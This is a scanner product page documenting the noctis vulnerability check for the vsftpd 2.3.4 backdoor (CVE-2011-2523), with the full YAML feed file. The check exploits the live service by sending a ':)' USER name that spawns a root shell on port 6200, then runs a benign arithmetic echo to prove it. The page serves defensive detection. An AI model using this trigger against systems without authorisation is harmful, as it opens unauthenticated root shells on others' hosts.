vsftpd — 1 vulnerability check

noctis ships 1 vulnerability check for vsftpd, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

vsftpd 2.3.4 backdoor command execution

CVECVE-2011-2523
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Servicesftp
Detectionset_var, script, tcp_dialogue, sleep, match · highest QoD 97
Feedtests/vulnerabilities/vsftpd/CVE-2011-2523.yaml

Detects the vsftpd 2.3.4 backdoor: a USER ending in :) opens a shell on port 6200, where an echo of a per-run arithmetic marker is run and reported when the computed token comes back.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. TCP dialogue: {{proof.cmd}}, exit
  3. Parses / computes the next value with a Rhai script
  4. TCP dialogue: USER noctis:), PASS noctis
  5. TCP dialogue: {{proof.cmd}}, exit
  6. Parses / computes the next value with a Rhai script
  7. Checks pre.transcript for NOCTIS[0-9a-f]{8}[0-9]+ → finding QoD 97: Unauthenticated shell open on TCP 6200 — vsftpd 2.3.4 backdoor (CVE-2011-2523)
  8. Checks post.transcript for NOCTIS[0-9a-f]{8}[0-9]+ → finding QoD 97: vsftpd 2.3.4 backdoor remote command execution (CVE-2011-2523)

References:

Feed source — tests/vulnerabilities/vsftpd/CVE-2011-2523.yaml
# vsftpd 2.3.4 compromised source package — ":)" backdoor shell on TCP 6200
# (CVE-2011-2523).
#
# The vsftpd-2.3.4.tar.gz served from the master site between 2011-06-30 and
# 2011-07-03 was trojaned: a USER name containing the smiley ":)" makes the
# FTP child bind a root shell (/bin/sh) on TCP port 6200. Any client that then
# connects to 6200 gets unauthenticated command execution.
#
# Ported from OpenVAS/Greenbone NVT `2011/gb_vsftpd_backdoor_07_2011.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103185, GPL-2.0-only): check whether a shell
# already answers on 6200, otherwise send `USER X:)` / `PASS X` on the FTP port,
# wait for the shell to spawn, and talk to 6200.
#
# REAL EXPLOITATION, BENIGN PROOF: instead of the NASL's `id;` we send one
# shell *arithmetic expansion* — `echo <marker>$((A+B))` with a random marker
# and two random integers chosen per run — then `exit`. Only a real shell
# prints `<marker><A+B>`; an unrelated service on 6200 (echo/chargen/banner)
# can at best reflect the literal `$((A+B))`, so it cannot fake the token. No
# file is touched, nothing persists: `exit` closes the backdoor shell, which
# also ends the trojaned FTP child that was blocked on it.
#
# Deviations from the NASL (detection improvements):
#   - no vsftpd banner/CPE gate: the NASL only runs where vsftpd was
#     fingerprinted, so a backdoored build with a custom `ftpd_banner` is missed;
#     the computed-token proof makes the gate unnecessary.
#   - proof is a per-run computed value instead of the generic `uid=…gid=`
#     regex, so a canned reply cannot match.
#   - one trigger + 3 s wait instead of 4 × 10 s sleeps.
#
# Residual effect (shared with the NASL and Metasploit): if the trigger lands
# but 6200 is unreachable from the scanner (filtered), the target keeps an
# unauthenticated shell listening on 6200 until something connects to it.
#
# The pre-existing-shell branch reports any shell already answering on 6200 of
# an FTP host: it is unauthenticated RCE either way, attributed to the vsftpd
# backdoor because 6200 is its fixed port.
#
# Port 6200 is the backdoor's hardcoded port, not `{{port}}`; it is kept in
# `vars.shell_port` for readability.
uid: a7287692-b8f7-4a3f-bee0-1e7dc54f16c5
name: "vsftpd 2.3.4 backdoor command execution (CVE-2011-2523)"
description: "Detects the vsftpd 2.3.4 backdoor: a USER ending in :) opens a shell on port 6200, where an echo of a per-run arithmetic marker is run and reported when the computed token comes back."
cves: [CVE-2011-2523]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [vsftpd, ftp, backdoor, rce, intrusive, supply-chain]
services: [ftp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-2523"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2011/CVE-2011-2523.yaml"
  - "OpenVAS NVT 2011/gb_vsftpd_backdoor_07_2011.nasl (OID 1.3.6.1.4.1.25623.1.0.103185)"

vars:
  shell_port: "6200"

steps:
  # ── Init gate vars (an undefined var throws in a condition) ──────────────
  - id: init-pre-hit
    action: set_var
    var_name: pre_hit
    var_value: false

  - id: init-post-hit
    action: set_var
    var_name: post_hit
    var_value: false

  # ── Per-run benign shell command + the token only a shell can produce ────
  - id: build-proof
    action: script
    store_as: proof
    code: |
      let marker = "NOCTIS" + rand_hex(4);
      let a = rand_int(100000, 900000);
      let b = rand_int(100000, 900000);
      #{
        cmd: "echo " + marker + "$((" + a.to_string() + "+" + b.to_string() + "))",
        token: marker + (a + b).to_string()
      }

  # ── 1. Is a backdoor shell already listening on 6200? (NASL pre-check) ───
  # Connection refused → step error → `pre` stays undefined → the next
  # condition evaluates to false.
  - id: pre-check
    action: tcp_dialogue
    port: "{{shell_port}}"
    tls: false
    read_banner: false
    line_ending: "\n"   # sh would read "exit\r" as an unknown command
    timeout_secs: 5
    commands:
      - "{{proof.cmd}}"
      - "exit"
    store_as: pre

  - id: pre-eval
    action: script
    store_as: pre_hit
    condition: "pre.connected == true"
    code: |
      stridx(pre.transcript, proof.token) >= 0

  # ── 2. Trigger: USER with a ":)" smiley on the FTP port ──────────────────
  # A trojaned server blocks in accept() on 6200 and never answers USER/PASS;
  # the dialogue just reads nothing for those lines and moves on.
  - id: trigger
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    condition: "pre_hit == false"
    commands:
      - "USER noctis:)"
      - "PASS noctis"
    store_as: ftp

  - id: wait-shell
    action: sleep
    duration_ms: 3000
    condition: "pre_hit == false"

  # ── 3. Talk to the freshly spawned shell ─────────────────────────────────
  - id: post-check
    action: tcp_dialogue
    port: "{{shell_port}}"
    tls: false
    read_banner: false
    line_ending: "\n"   # sh would read "exit\r" as an unknown command
    timeout_secs: 5
    condition: "pre_hit == false"
    commands:
      - "{{proof.cmd}}"
      - "exit"
    store_as: post

  - id: post-eval
    action: script
    store_as: post_hit
    condition: "pre_hit == false && post.connected == true"
    code: |
      stridx(post.transcript, proof.token) >= 0

  # ── 4. Findings ──────────────────────────────────────────────────────────
  - id: detect-preexisting
    action: match
    source: pre.transcript
    pattern: "NOCTIS[0-9a-f]{8}[0-9]+"
    condition: "pre_hit == true"
    on_match:
      finding:
        title: "Unauthenticated shell open on TCP 6200 — vsftpd 2.3.4 backdoor (CVE-2011-2523)"
        description: "An unauthenticated shell answered on TCP 6200 and evaluated a benign arithmetic expansion (echo <marker>$((A+B))), returning the per-run computed token. This is the vsftpd 2.3.4 backdoor shell (already spawned before the scan): anyone can execute commands on the host."
        remediation: "Treat the host as compromised. Reinstall vsftpd from a verified package (any release other than the trojaned 2.3.4 tarball), check the source signature, and block TCP 6200."
        evidence: "port 6200 sent '{{proof.cmd}}' → reply contains computed token {{proof.token}}"
        confidence_delta: 0.70
        qod: 97

  - id: detect-triggered
    action: match
    source: post.transcript
    pattern: "NOCTIS[0-9a-f]{8}[0-9]+"
    condition: "post_hit == true"
    on_match:
      finding:
        title: "vsftpd 2.3.4 backdoor remote command execution (CVE-2011-2523)"
        description: "Sending an FTP USER name containing ':)' made the server open an unauthenticated shell on TCP 6200, which evaluated a benign arithmetic expansion (echo <marker>$((A+B))) and returned the per-run computed token. The vsftpd build is the trojaned 2.3.4 source package: unauthenticated remote command execution as the FTP daemon's user (typically root). The proof shell was closed with 'exit'."
        remediation: "Reinstall vsftpd from a verified package (any release other than the trojaned 2.3.4 tarball), check the source signature, block TCP 6200, and investigate the host for prior compromise."
        evidence: "USER noctis:) on FTP port {{port}}, then port 6200 sent '{{proof.cmd}}' → reply contains computed token {{proof.token}}"
        confidence_delta: 0.70
        qod: 97

View these feeds on GitHub